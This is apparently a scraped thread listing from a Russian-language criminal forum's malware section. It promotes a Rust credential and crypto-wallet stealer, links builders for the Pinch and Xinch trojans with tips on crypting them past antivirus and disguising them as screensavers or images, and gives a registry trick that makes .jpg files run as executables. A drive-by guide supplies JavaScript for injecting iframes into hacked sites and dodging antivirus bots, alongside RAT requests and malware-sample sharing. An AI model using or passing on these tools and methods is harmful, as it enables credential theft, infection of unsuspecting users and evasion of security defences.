Malware

◀ Back

[MALWARE] Задай вопрос - получи ответ

Author: rtkm • 2018-11-02T11:37:55+0000 • Replies: 2K • Views: 450K
Задаем вопросы.
Умельцы тут есть, и мы всегда найдем ответы на ваши вопросы.

FREE & opensrc Rust Stealer

Author: DoKitO • 2022-07-03T11:24:43+0000 • Replies: 1K • Views: 373K
Hello Community,
This is my 2. Rust Release here.

Some Features the Stealer has:
\- Chromium Stealer:

edge
chromium
7star
amigo
brave
centbrowser
chedot
chrome_canary
coccoc
dragon
elements-browser
epic-privacy-browser
chrome
kometa
orbitum
sputnik
torchne
ucozmedia
vivaldi
atom-mailru:
operane
opera-gx
ChromePlus
Iridium
Iridium
fenrir-inc
catalinagroup
Coowoo
liebao
qip-surf
360browser
---


\- Wallet Stealer:


AtomicWallet
Exodus
Jaxxwallet
Electrum
ByteCoin
---


\- Extension Stealer:


EOS Authenticator
Bitwarden
KeePassXC
Dashlane
1Password
NordPass
Keeper
RoboForm
LastPass
BrowserPass
MYKI
Splikity
CommonKey
Zoho Vault
Norton Password Manager
Avira Password Manaager
Trezor Password Manager
MetaMask
TronLink
BinanceChain
Coin98
iWallet
Wombat
MEW CX
NeoLine
Terra Station
Keplr
Sollet
ICONex
KHC
TezBox
Byone
OneKey
DAppPlay
BitClip
Steem Keychain
Nash Extension
Hycon Lite Client
ZilPay
Leaf Wallet
Cyano Wallet
Cyano Wallet Pro
Nabox Wallet
Polymesh Wallet
Nifty Wallet
Liquality Wallet
Math Wallet
Coinbase Wallet
Clover Wallet
Yoroi
Guarda
EQUAL Wallet
BitApp Wallet
Auro Wallet
Saturn Wallet
Ronin Wallet
---



\- Sensitive Data Stealer
\- Steam & TG Stealer
\- Systeminfo(Running Processes, screenshots etc)

Logs are delivered to TG example:

![1656847402904.png](https://xss.is/attachments/38805/)


Current Detectionrate: 1/26

![1656864717091.png](https://xss.is/attachments/38814/)

Made in ~6h.
If any1 needs building or setting up, write me on tg
Made out of fun.

GitHub: <https://github.com/luca364/rust-stealer>

Pinch

Author: RamBooster • 2005-03-28T02:36:29+0000 • Replies: 878 • Views: 255K
![](/proxy.php?image=http%3A%2F%2Fs42.radikal.ru%2Fi098%2F0808%2Fd2%2F8e76bce655e4.jpg&hash=6891dcf06ebcf480e0745cb9683894d4)​




**

Основные понятия и термины ​

**

_Начнём с того, что же такое пинч?_
Пинч, это, по сути своей, вредоносное ПО, а если быть конкретнее- троянская
программа.

Первоначальный автор пинча - **coban2k**. Далее проект взял в руки человек,
известный всем под ником- **damrai**.

Теперь разберёмся с терминами:
Гейт \- это скрипт, по средством которого идёт получение и сохранение отчётов.

Билдер – это утилита, которая на основе введеных вами параметров генерирует
исполняемый файл.

Конфигуратор \- это программа, которая на основе введёных вами данных изменяет
их в исполняемом файле.

Билд \- это исполняемый файл созданный билдером\конфигуратором.

Джойнер \- это программа для склеивания любых файлов, в один исполняемый.
Другими словами, это программа, с помощью которой вы могли бы "приклеить"
троян к фотографии и т.д....

Криптор \- это программа для изменения, сигнатуры файла для скрытия его кода
декриптора. Крипторы применяются для изменения стаба бинарноисполняемого
файла, проще говоря для скрытия его кода. В вирусологии крипторы применяются
для скрытия присутствия в фаиле, вредоносного кода.

Парсер \- программа для дешифровки файлов отчётов.

**

Ссылки ​



**







Билдеры

**Version: 1.0
Author: coban2k**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s44.radikal.ru/i104/0808/f7/b3ab14cfbab7.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/rqkdxw)

**Version: 1.0 Pro
Author: coban2k**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s58.radikal.ru/i160/0808/bc/a04fffc86428.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/4o3v2x)

**Version: 1.8 Alfa
Author: damrai**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s54.radikal.ru/i144/0808/e4/2eaed655e210.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/bh2p5h)

**Version: 2 Alfa
Author: damrai**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s54.radikal.ru/i144/0808/e4/2eaed655e210.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/2pwld6)

**Version: 2.57
Author: damrai**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s57.radikal.ru/i156/0808/73/4e371a9ed3fb.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/3ffvr2)

**Version: 2.58
Author: damrai**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s57.radikal.ru/i156/0808/73/4e371a9ed3fb.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/d9pbf4)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Зеркало|Cracked](http://www.sendspace.com/file/n8md9i)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png) [Зеркало
№2|Cracked №2](http://www.sendspace.com/file/u1ucqk)

**Version: 2.60
Author: damrai**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s57.radikal.ru/i156/0808/73/4e371a9ed3fb.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/w4wb1h)



Конфигураторы

**Version build: 2.96
Way to send: mail
Author: Vaska**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s53.radikal.ru/i141/0808/7d/bca3a2342db8.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/vr1dwc)

**Version build: 2.98
Way to send: gate
Author: Vaska**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s52.radikal.ru/i135/0808/24/55f933477596.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/o4r7c7)

**Version build: 2.98
Way to send: gate
Bonus: Key-log, Socks5, IE grab, HTTP proxy, FTP, Cmd Shell
Author: Vaska**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s46.radikal.ru/i114/0808/1b/27eaba6e3158.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/rxkmx1)

**Version build: 2.99
Way to send: gate
Author: Slesh**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s43.radikal.ru/i099/0808/67/91de250d7118.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/pxof0d)

**Version build: 2.99
Way to send: gate
Author: Slalin**
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://s54.radikal.ru/i143/0808/48/34a7a062c724.jpg)
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/qixuod)


Статический контроль основанный на php скрипте

**Version: 1.0**
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/t583q5)

**Version: 3.3
Author: Genom**
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://www.sendspace.com/file/m8u5gp)





**MiniFaQ** ​


1\. _Какими же возможностями обладает пинч?_

Пинч грабит пороли со следующих программ:
\- ICQ 99B-2002a
\- ICQ 2003/Lite/5/Rambler
\- TRILLIAN
\- &RQ, RnQ, The Rat
\- QIP /8030 и более ранние версии)
\- GAIM
\- MSN & Live Messenger

\- The Bat!
\- MS Office Outlook
\- Mail.Ru Agent
\- Becky
\- Eudora
\- Mozilla Thunderbird
\- Gmail Notifier
\- Opera 9.2х
\- Protected Storage(IE,Outlook Express)
\- Mozilla Browser
\- Mozilla Firefox
\- RAS
\- E-DIALER
\- VDialer

\- FAR
\- Windows/Total Comander
\- CuteFTP
\- WS FTP
\- FileZilla
\- Flash FXP
\- Smart FTP
\- Coffee Cup FTP
\- RapGet
\- USDownloader
\- RDP (Windows Remote Desktop)

Так же на борту пинча могут быть:
\- cmd shell (биндшелл то есть)
\- Фтп
\- Proxy
\- Socks5

2\. _Я не могу открыть билдер - пишет "Ошибка доступа"._

Отключите свой антивирус и\или файрволл и\брэндмауэр.

3\. _Я настроил пинч, но отчётов нет. В чём проблема._

Вы могли не правильно настроить пинч. У вас может стоять фаервол и блокировать
посылку отчёта. Так же дело может заключатся в выборе хостинга.

4\. _Почему же выбор хостинга так важен?_

На хостинге **обязательно** должен быть отключён сайф мод, то есть-
safe_mod=off. Т.к. это ограничение, выставленное администрацией хостинга порой
ограничивает связь между гейтом и отчётами.

5\. _Пинч детектится антивирусами, как это можно изменить?_

Существуют программы- крипторы, как и для чего они служат я уже писал. После
крипта пинча, антивирусу крайне тяжело найти в нём вредоносный код и в
большинстве случаев он его не находит.

6\. _Как склеить пинч с фотографией\программой? Сменить иконку? Задать
самоудаление после запуска? Замаскировать место запуска и процесс?_

Во всём вам этом помогут программы называемые джойнерами(биндерами). В
большинстве случаев кроме склейки, у них ещё могут присутствовать
дополнительные функции.

7\. _Где же взять эти крипторы\джойнеры?_

Их, как и весь софт в интернете, можно приобрести за определённую плату. Так
же их можно написать самому, для этого потребуются знание языков
программирования, или же скачать чей то, уже написанный, криптор\джойнер.

8\. _Как же мне впарить этот троян кому нибудь?_

Существует очень много способов. Самые популярные из них- инфрейм траффик(то
есть загрузки), СОЦ и т.д....

9\. _Почему же я, такой умный человек, засунул свой пинч в траффик, на стате
1к загрузок, а отчётов только 500?_

Потому что, прежде чем грузить свой пинч или давать его кому нибудь запустить,
нужно быть уверенным в том что он максимально замаскирован и не палится не
одним антивирусом.

10\. _Как же мне проверить, какими он палится антивирусами, если у меня на
компе только один антивирус?_

Существуют такие онлайн проекты, как <http://virusscan.jotti.org/> и т.д...

11\. _Мне говорили что бы я не проверялся на<http://virustotal.com/>, почему?
_
Спалите сигнатуру своего криптора, если она статическая. Вирустотал не просто
проверяет фаилы, он рассылает отчёты по антивирусным компаниям.

[mod][GZip:] Первый пост полностью перемодерировал, в скором времени дополню
первый пост и почищю тему.[/mod]

Xinch

Author: Winux • 2005-09-11T10:02:08+0000 • Replies: 384 • Views: 131K
Собственно Xinch - бесплатный трой.

Возможности:

> \- ICQ99b-2003a/Lite/ICQ2003Pro
> \- Miranda ICQ
> \- Trillian ICQ&AIM
> \- &RQ
> \- Mozilla
> \- Opera
> \- E-Dialer
> \- Becky
> \- The Bat!, The Bat! 2 (почта)
> \- Outlook/Outlook Express (pop3/imap)
> \- IE автозаполнение & защищённые сайты & ftp (поддерживаются 9x/Me/2k/xp)
> \- FAR Manager (ftp)
> \- Win/Total Commander (ftp)
> \- CuteFTP
> \- WS_FTP
> \- Интернет (поддерживаются 9x/Me/2k/xp)
> \- Системная информация: OS, memory, CPU, hard drives, logged user, host
> name, IP
> \- Завершение процессов (фаерволов и антивирусов)
> \- Обход фаервола
> \- Отправка e-mail через SMTP
> \- Отправка на HTTP (в зависимости от скрипта, несколько возможностей)
> \- Автозагрузка
> \- E-mail сообщения криптуются
> \- Самоудаление
> \- Консоль (Telnet прилагается)
> \- Закачка и запуск файла
> \- Добавление иконки
> \- Упаковка тремя способами
> \- Три вида отправки паролей или "не отправка"
> \- Размер троя после упаковки около 25Kb (это при включении всех модулей!)
> \- Модульная система, возможность отключать модули для уменьшения размера
> \- Невидимость антивирусам (наверное не на всегда)
> \- Xinch будет обновляться
> \- Ещё несколько возможностей
>
> Click to expand...


Папки:
1\. DBase - директория для бд Parser'а
2\. Scripts - скрипты для отправки по HTTP (читайте там ReadMe)
3\. Xinch - основные исходники и компилятор
4\. Hide - утилиты для скрытия Xinch (описание ниже)
5\. Telnet - для подключения к консоли
6\. Reports - папка откуда Parser сканирует отчёт (просканированные файлы
удаляются!)

Немного советов от создателя:


> Для эффективного "впаривания" Xinch нужно:
> 1\. Ищем в инете классную заставу в формате .scr
> 2\. Достаём из неё иконку с помощью любого редактора ресурсов
> 3\. Ставим в билдере заставку как аттач и иконку от заставки
> 4\. Сжимаем с помощью FSG 1.33
> 5\. Прячем (как это сделать написано чуть ниже)
> 6\. Переименовываем файл .exe в .scr
> 7\. Получаем заставку, в которой очень трудно различить Хинча
> 8)
> .exe файлы можно переименовывать в .scr,.bat,.com
>
> Click to expand...


Инструкция:
Запустите Builder.exe чтоб скомпилить Хинча
Запустите Parser.exe чтоб расшифровать пароли
Little_Parser.exe для быстрого преобразования report.bin в читабельный out.txt

**[--==Xinch Official FAQ==--]**

Вопрос: Как пользоваться утилитами из папки Hide?
Ответ: Если вдруг Xinch начнёт ловится, то его придётся скрывть,
делается это так:

1) При компиляции выбираем упаковщик FSG 1.33
2) Обрабатываем файл через CryptXinch.exe:
Выбираем файл, выбираем в списке tElock, нажимаем ProtectEP
3) Обрабатываем файл через ClearXinch.exe
Указываем путь к файлу и жмём кнопку..
Готово.

Утилита Hiew вообщем то и не нужна, так как вместо неё я сделал автоматический
ClearXinch.exe, который всё то что нужно было бы делать вручную в Hiew делает
сам автоматом. ths to me =)

Внимание!! Этот метод не действует, если поставлены модули, который создают
Dll,
ловящиеся антивирусом.
\-------------------------------------------------------------------------------

Вопрос: Хинча не компилится!!! Помогите!!!
Ответ: Отошлите на xepakc@mail.ru файл Xinch\Report.inc, поясните всегда ли
трой
не компилится, напишите полную версию Windows, компилируется ли обычный Pinch,
возможную причину или любые другие нужные пояснения
Если программа выдаёт очень странные надписи с ошибками, то прикрепляйте
скриншоты

\-------------------------------------------------------------------------------

Вопрос: Как пользоваться консолью?
Ответ: Открываем telnet и вводим open "Ip_адрес_где_запущена_консоль [порт]"

\-------------------------------------------------------------------------------

Вопрос: Почему трой так мал?
Ответ: Потому что он не расшифровывает пароли, а только отсылает их хеши

\-------------------------------------------------------------------------------

Вопрос: Как обойти фаервол?
Ответ: Используйте HTTP метод отправки паролей

\-------------------------------------------------------------------------------
Хинч написан только для ознакомления, автор не несёт никакой ответственности
за использование Хинча или его частей. Чтобы защититься от Хинча используйте
антивирусы (например AVP) с новейшими базами и забудьте про Internet Explorer,
используйте лучше замечательную Opera 8
\-------------------------------------------------------------------------------

![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download Xinch 1.20](http://xss.is/dl/trojans/xinch.rar)

Идеи впаривания файлов (вирусов)

Author: xrahitel • 2021-07-15T07:05:05+0000 • Replies: 310 • Views: 127K
**Всем п/т в данный топ создан с целью обсуждения идей впаривания файлов
(вирусов) как массово так и точечно.

Тут будут интересные фичи,баги,#lolbin и.т.д видео мультики
![biggrin.png](/proxy.php?image=https%3A%2F%2Falligator.cash%2F%2Fpublic%2Fstyle_emoticons%2Fdefault%2Fbiggrin.png&hash=62b8d04d0f3228313dc567b881082a95)

Думаю с вышеизложенным мы разобрались, рано или поздно у новичков возникает
данный вопрос про (Silent Exploit JPG) есть такое или нет, однозначно нет.
Чтобы проделать данный фокус видео демонстрации, нужно подкрутить реестр так
**[**тыц**](https://lebgeeks.com/forums/viewtopic.php?pid=14941#p14941).


Code:Copy to clipboard



Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\.jpg ]
@="exefile"
"Content Type"="application/x-msdownload"

[HKEY_CLASSES_ROOT\.jpg \PersistentHandler]
@="{098f2470-bae0-11cd-b579-08002b30bfeb}"



**Вариант второй[тыц](https://www.ired.team/offensive-
security/persistence/hijacking-default-file-extension), есть и ещё способы о
которых расскажу позже в данном топе, но чтоб Вы понимали данные способы не
лишены смысла, это так скажем не плохой способ закрепиться на тачке жертвы
![wink.png](/proxy.php?image=https%3A%2F%2Falligator.cash%2F%2Fpublic%2Fstyle_emoticons%2Fdefault%2Fwink.png&hash=05117e8abc655478168c47eaf7d16fc6)**​



**


**p.s Большая просьба ко Всем, не стоит тут флудить и устраивать срач, не надо
тут писать сообщения типо (помоги,перезалейте,спасибо,) для всех вопросов есть
личка.Ещё раз, сообщение должно нести смысловую нагрузку.****​

Обсуждение Cerberus Android Bot / Cerberus questions

Author: exynos • 2019-06-28T14:18:33+0000 • Replies: 335 • Views: 73K
**Уважаемые пользователи! Чтобы не засорять[коммерческую
тему](https://xss.is/threads/29932/), общетехнические вопросы были перенесены
сюда, в отдельный топ. Просьба технические "плюшки" обсуждать только здесь.
// Модератор**


how much bro ?

Посоветуйте малварь / ищу конкретный софт

Author: Quake3 • 2013-05-22T17:53:22+0000 • Replies: 289 • Views: 71K
В этой теме, и только в этой пишите свои запросы по поиску малвари. Все эту
"ищу нормальный стиллер" "посоветуйте банкбот под андроид" и так далее. Чтобы
не засорять другие темы разделы.
Правила темы
1\. Запрещено писать "у меня есть, пиши в лс" (если есть - сами пишите
человеку в лс, не засоряйте тему), но допускаются ссылки на коммерческий
раздел.
2\. Запрещен флуд не по теме, только конкретика.
3\. Запрещены локеры, за нарушение этого пункта сразу бан.

p.s.**for english speaking** \- Ransomware is denied! If you post request to
cryptolocker, you will got ban.

Траффик, связки, боты, блеки, порно.

Author: 12309 • 2012-01-29T17:35:05+0000 • Replies: 0 • Views: 68K
Постараюсь осветить неочевидные моменты работы, которые по-отдельности
возможно уже встречались вам на просторах бурж-нета.

============== ТРАФФИК ==============

Давайте условимся, что трафф, в большинстве своем, у нас быстрый.
Что это значит... Что юзер серфит по сети. открывая колесом по 10 вкладок, и
потом за минуту закрывает 9 из них, на ненужные вкладки он тратит по 2-3 сек.
Значит у нас есть 2-3 сек чтобы загрузить страницу, загрузить ифрейм, пробить,
посчетать как пробитого.
Если вы поставите на доимый сайт GA, и посмотрите сколько было просмотров
длительностью меньше секунды, то неприятно удивитесь. На поисковом трафе их
под 30%. На поп-ап трафе таких просмотров под 90% (вот ж *?№%#!!). Стоп, а
почему меньше секунды? потому что гугл-аналитика тяжелая, и сама грузится не
раньше 2й секунды(
Таким образом, у нас есть 2 способа повышения числа слитых (пока только
слитых) юзеров.
1) Пробить его как можно скорее.
2) затормозить юзера.

1) Ускоряем пробив.
Многие траферы любят прятать ифрейм в скрипте счетчиков... в подвале 0_о
Счетчики туда спецом сносят, чтобы они загружались последними.
Нам нужно создавать ифрейм как можно раньше. В хедере не годится, потому что
сделать _.append()_ ифрейма в хедер мы не можем (не загрузится ифрейм), а боди
в момент выполнения скрипта еще не существует в DOM'е.
Нельзя вешать создание ифрейма на _$(document).ready()_ и тем-более на
_body.onload_. Если сравнивать сколько юзеров смотрело страницу, и сколько
отметилось на связке, потери трафа составят где-то 30%.
Самый разумный вариант - ставить ифрейм, или запускать скрипт, который его
создает, после открывающего _< body>_, поближе к нему.
Например даже так: _< body onmouseover="make_bad_thing()">_, где
_make_bad_thing()_ \- функа, создающая ифрейм, и заранее определенная где-то в
шапке (зашитая в 1 из ранее существующих js-файлов например). И не забываем за
собой файлы тачить.
Если сайт сам тяжелый и медленный (например вордпрессы, напичканые модулями),
то возможно придется немного оптимизировать сайт за админа.
Если jQuery грузится с доимого сайта, инклудим его с google-cdn. Не факт что
оттуда быстрее, но очень часто он есть в кеше юзера.
Собираем стили в начало хедера, скрипты за ними. Между собой скрипты и стили
не перемежаем. Тогда и те и другие грузятся параллельно.
Это не фантазии, если есть возможность (не спалят) это стоит делать на каждом
сайте, который мы фреймим руками. Это реально дает прирост трафа на ~9% в
среднем, а времени тратится минута.

2) Тормозим юзера.
Тут нет вариантов. Серьезно. Кроме js-воркеров, мы ничем не можем заставить
браузер догружать наше зло после закрытия вкладки. А они адекватно
поддерживаются только хромом =3
За фокусы с onBeforeUnload сразу получим по шапке. Конечено, если мы фреймим
листы автоматом, и долгожительство нам не нужно, то можно и побаловаться, но
это убивает ифрейм после первого визита админа.


Code:Copy to clipboard



<script>
function closeIt() {
window.open(window.location.src,'mywindow');
}
window.onbeforeunload = closeIt;
</script>


Если есть возможность спрятаться глубоко и в размере кода мы не ограничены, то
лучше сразу сливать только нужный нам трафф, например IE и FF.
Cпособ не совсем изящный, но отлично отсеивает всякую ересь:

Code:Copy to clipboard



<script type="text/javascript">
var isMSIE = /*@cc_on!@*/false;
var isFF = window.sidebar;
if (isMSIE || isFF) document.write('<iframe src="#" frameborder="0"></iframe>');
</script>


============== СВЯЗКИ ==============

Аксиома: 99% связок на рынке - одинаковый набор сплойтов из метасплойта.
Так почему же пробив разный 0_о
Зависит от:
1) скорости выдачи сплойтов
2) кривости проверки на наличие нужного плагина
3) стабильности шелл-кода
4) чистоты связки, ее закрытости от ботов.

Так уж исторически сложилось, что 90% связочников борятся с одной проблемой -
поскорее впихнуть дефалтный шелл-код юзеру. Тут все средства хороши.
проверка на пдф? зачем это? отдаем так, яж потестил, пробив так выше. *рука-
лицо*
Вобщем-то, проверка на наличие плагина сама-по-себе не критична, потому что
например на флеш проверка сложная (если захватывать древние версии)
Но блин, нельзя же отдавать сплойт первому встречному...
О реверсерах мы не беспокоимся (приватных сплойтов то нету). И по-этому любая
история о реверсе связки начинается с "открываем малзилу, скачиваем".
Но вот о ботах стоит побеспокоится.
1) чего почему-то не делает ни 1 автор связки, из всех что я видел. Всегда
отдавать 404й хедер. Это элементарное и действенное средство от индексации
поисковиками, и защита от большинства сканеров.
2) принимать только нужный трафф. Тоску навивают пробитые линуха в скринах
статы блек-хола. (еще до добавления в нее java rhino, там регулярно светились
пробитые линуха, неизвестные мазилы, вин-сервера, и маки. Ну как так?)

Почему фильтровать трафф не выгодно авторам связок:
1) Теряются те копейки пробива, на которых балансирует конкурентность их
продукта. (не выгодно фильтровать юзеров)
2) Чистки стоят денег. Старайтесь не пользоваться связками, где за каждую
чистку платите вы. Т.к. палево становится выгодно автору, и вы будете чистить
снова и снова. Увы, это реальность.(не выгодно фильтровать ботов)

Почему из-за проверок теряется трафф:
Не забываем что львиная доля трафа сидит на сайте по 1-3 сек. А значит
примерно на моменте загрузки связки уже половина инертного трафа закрывает
окно. И именно на экономии загрузки полусекунды от plugindetect.js (весит
много, многими используется) мы можем получить прирост в 2-3% пробива.

Что полезно сделать перед покупкой связки? Запустить виртуалку, поставить фф
по-старее, фаербаг, и загрузить тестовый линк. Если вся связка грузится дольше
чем 3 сек - вы будете терять минимум 20% трафа только потому, что трафф раньше
уйдет, чем успеет пробиться.

Если вы дозрели до написания своей связки, то позаботьтесь о проверках на
соответствие юзер-агента заявленым фичам (тоесть браузер - действительно
браузер, а не wget, не phantomJS, не malzilla и не гугл-бот)
Пускать ли на связку носителей firebug'а - дело ваше, я пускаю, но в нем
связки не видно. (прохождение через отладчики - тема отдельной статьи, которая
врятли появится в ближайшее время)
Позаботьтесь о том, чтобы исходник страницы со связкой выглядел безобидно,
чтобы не создавать проблемы тем, что льет трафф с бирж.
Ну и главное - следите за временем загрузки. Совсем необязательно каждого
уника писать в базу. Если самый тяжелый участок у вас geoIp-база, то
посмотрите в сторону google location api.
Если вы неуверены в хостинге, и не знаете как он поведет себя при больших
нагрузках, то ведите учет времени загрузки страницы на стороне юзера (тоесть в
хедере запоминаем микротайм, по _body.onload_ фиксируем разницу). Это поможет
вам избежать неприятных вопросов от клиентов а-ля "где мой трафф-то? небось
отбираешь?".

============== БОТЫ, БЛЕКИ ==============

Итак, давайте смотреть, когда падает крипт?

1) когда запален другой файл, криптованый так же
2) когда файл запущен у юзера с ав, очередь на файлы с низким рейтингом
доверия у ав (например каспер, комодо, все кто "облачные") дошла до вашего
файла.
3) Бот пришел на связку, разобрал крипт js. (тут мы получаем палево шелл-кода,
палево нагрузки, блек на домен)

Что делать:
1) Когда купили крипт, положите файлик на полку дня на 3, и не лейте его. Если
криптер не мудак, то криптованый "вам" файл должен не палиться вечно, пока вы
не начнете его грузить. Реальность же такова, что у хороших криптеров он не
палится недели две, у плохих - 1-3 дня.
Крипт не у всех "одинаково-полиморфный". У кого-то мутация от билда к билду
больше, у кого-то меньше.
2) Выход - хороший лодер. Другой вариант - не грузить вообще, если у юзера
нашелся касперски-бар для ие, или что-то подобное.
SSL на домене со связкой был бы выходом, если бы не мучительно долгий хенд-
шейк (это когда браузер пишет в статус-баре "Установка безопасного
соединения"). Ускорением ssl-хенд-шейка занимается только хром, но мы простые
смертные, и он нам не интересен.
3) Детектить ботов, как хотите. Тут фантазия, и все карты в руки. Экзотический
довесок - проверять на наличие в кеше у юзера чего-нибудь из google-cdn
(jquery например). Определяется по времени загрузки оного. Если грузится
меньше чем за 150мс, то точно из кеша. Почему это работает - потому что боты
страются приходить девственно-чистыми, без кук, без флеш-кук, без кеша.

Когда админка попадает в трекер?
\- Когда до семпла, отосланного в облако антивирусом юзера, доходит очередь у
ав. Семпл разбирается, админка вынимается. В нее стучится бот, проверяет, жива
ли админка, и не ошибся ли он. Если жива - в трекер, домен в блек.
Попадание в трекер - причина палева, или следствие?
\- Следствие. Бесполезно бороться с самими трекерами. Нужно прятать линк
админки в билде, и вести учет ботов.
В среднем 80% ботов всегда стучатся с 1го диапозона ip, еще 16% - с 2х
диапозонов ip, и 4% - с 3 разных диапозонов ip (стата исключительно по моим
замерам, конечно же она плавает).
Если вы кодите, то допишите себе учет адресов, с которых отстукивают боты, и
увидите, что перед попаданием в трекер к вам приходит "новенький" (при том,
что вы не грузили) или "ваш" стучит хpен-знает-откуда.

Боты никогда не должны стучать с диапозонов ip, отданых хостерам (что
логично). Листы адресов, отданных провайдерам, хостерам, и организациям, в том
или ином виде, есть в сети. Огромнейший список использует nerowolfe в своем
фильтре.
Если ваш бот на основе зевса, то он так или иначе несет на себе тяжкое
наследство плохого крипта урла админки. Лучшие подвижки в решении этой
проблемы наблюдаются у авторов цитадели.

Чем раньше отсекать ав-ботов, тем лучше. В идеале, отсекать их еще при
обращении к днс (для этого придется поднять свои нс-сервера, хорошо
поколдовать над ними, и не забыть прописать их в домене админки).

Самый радикальный (и самый надежный) вариант решения проблемы - чтобы только
боты знали к какому хосту относится домен админки ( прописывать адрес админки
в hosts, использование ботами своих днс).
Тоесть для всех смертных у домена a-запись ведет в наш анти-ав-ханипот (или
домен вообще нам не принадлежит вовсе 0_о )
Боты же используют наш (или купленый у Неровульфа %) ) днс. Таким образом
только наш днс (или только конкретный пк) знает, на какой хост стучаться.
Кроме того, в случае использования своих днс, мы решаем проблему домена (он
нам вообще не нужен. Только наш днс и хост админки знают что microsoft.com -
это про них)), и решаем проблему абуз на хост (он за минуту меняется)


============== ПОРНО ==============

1) Я загрузил список фтп во фреймер, закриптованый фрейм, нажал "захватить
интернеты" и вечером домен связки попал в блек. Почему?
\- потому что лить стоит через прокладку, эт раз
два. Авто-фреймеры зло, о скрытии ифрейма тут речи не идет. И будьте готовы,
что хотябы 1 из злых веб-мастеров, которым фреймер верстку сайта поломал, не
поленится вынуть линк (да просто посмотрит его в фаербаге) и отошлет ав-
шникам.

2) Откуда пробитые линуксы в стате связки?
\- Если на связке есть java rhino, то они могут быть... теоретически... Но
толку... Даже если шелл-код отработает, ваш зверь то не запустится. Стоит их
блокировать заранее.

3) Откуда в стате связки пробитые Windows Server?
\- на 99%, это winXP x64. Дело в том, что и вин-ХРх64, и вин-сервер в UA пишут
windows NT 5.2
Но если вы можете определить что это действительно вин-сервер (например его ip
числится за хостингом), то разумно его блокировать, т.к много сканеров
запускаются именно на виндовых хостах.

4) Я зафреймил руками крутой покер-сайт, но трафа идут копейки. Почему?
\- вероятно, большинство юзеров авторизуются и серфят сайт по https, а связка
грузится (вернее, потому и не грузится) по http.
Придется разорится на серт, или найти хост, где при реге его дарят. Больших
потерь трафа тут не будет, потому что основные посетители - постоянная
аудитория, и сидят они на страницах долго.

5) На сайт приходит 1к в сутки, а до связки доходит от силы 500. Почему?
\- Проверьте, сколько юзеров юзают ssl, и на какой секунде загружается ифрейм.
Перенесите ифрейм по-ближе к началу страницы.


(с) Aels. 2012. Копировать...мм.. да копируйте, [мат] с ним.

Посоветуйте RAT / Recommend RAT

Author: DarckSol • 2021-04-06T07:22:08+0000 • Replies: 227 • Views: 66K
Доброго времени суток.

Нуждаюсь в приличной RAT тулзе.

njRAT, ProRAT, DarckMoon давно уже не актуальны, так же как и поисониви, я
очень давно не вникал в тему по данному вопросу.

Посоветуйте, а лучше поделитесь, что сейчас актуально, важные функции:
* Захват картинки с рабочего стола.
* Захват картинки с веб камеры.
* Файловый манагер есть у всех, так же как работа с реестром, процессами, службами, etc....

/**/ Плюсом будет грабля паролей, но это как бонус, он не обязателен и не так
уж нужен.

Остальное сильного значения не имеет.

Желателен вариант простого запуска, клиент-серверное приложение, где сервер
является обычным иcполняемым файлом (.exe) или ява, тож сойдёт.
RAT нужен для личных нужд, разворачивать на хостинге панельку возможности нет,
и не целесообразно.
Всем за ранее Спасибо.

malware samples

Author: Ar3s • 2014-01-23T18:14:14+0000 • Replies: 93 • Views: 65K
Пусть будет топ для публикации малвари и ее компонентов.


by **Demien**

> web панелька бота Atrax
> [Скрин](http://www.csis.dk/images/attrax/attrax1.PNG)
>
> линк: <http://www.sendspace.com/file/v2c6nn>
> пасс: infected
>
> p.s. репост с хакхаунда
> p.s.s. спейсы часто трут подобный контекнт, так что кто-нибудь может
> перезалить куда-нибудь
